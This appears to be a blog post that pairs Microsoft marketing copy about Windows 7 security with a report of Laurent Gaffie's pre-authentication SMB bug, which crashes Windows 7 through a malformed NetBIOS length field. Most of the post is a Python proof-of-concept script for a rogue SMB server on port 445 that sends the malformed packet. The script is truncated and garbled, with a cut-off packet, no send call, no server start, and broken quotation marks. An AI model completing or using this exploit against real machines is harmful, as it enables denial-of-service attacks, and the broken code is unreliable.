Directly from Microsoft TechNET

Built upon the security foundation of Windows Vista, Windows 7 introduces a number of security enhancements to give users the confidence that Microsoft is continuing to find better ways to safeguard users’ IT investments as well as data. Businesses will benefit from enhancements that help protect company sensitive information, that provide stronger protections against malware, and that help secure access to corporate resources and data. End users can enjoy the benefits of computers and the Internet knowing that Windows 7 is using new technologies and features to safeguard privacy and personal information. Finally, all users will benefit from the flexible security configuration options in Windows 7—options that will help users achieve the unique balance of security and usability to meet their specific needs.

Today Laurent Gaffie’ described a very easy trick to crash the system. The bug trigger an infinite loop on smb{1,2}, pre-auth, no credential needed. Basically:

netbios_header = struct.pack(“>i”, len(”.join(SMB_packet))+SMB_packet
(The netbios header provide the length of the incoming smb{1,2} packet)

If netbios_header is 4 bytes smaller or more than SMB_packet, it just blow !
Here the small script against the giant Microsoft Windows 7 :

import SocketServer

packet = “\x00\x00\x00\x9a” # —> length should be 9e not 9a..

class SMB2(SocketServer.BaseRequestHandler):

def handle(self):

print “Who:”, self.client_address
print “THANKS SDL”
input = self.request.recv(1024)

launch = SocketServer.TCPServer((”, 445),SMB2)# listen all interfaces port 445

If you are interested on more details please visit Laurent Blog

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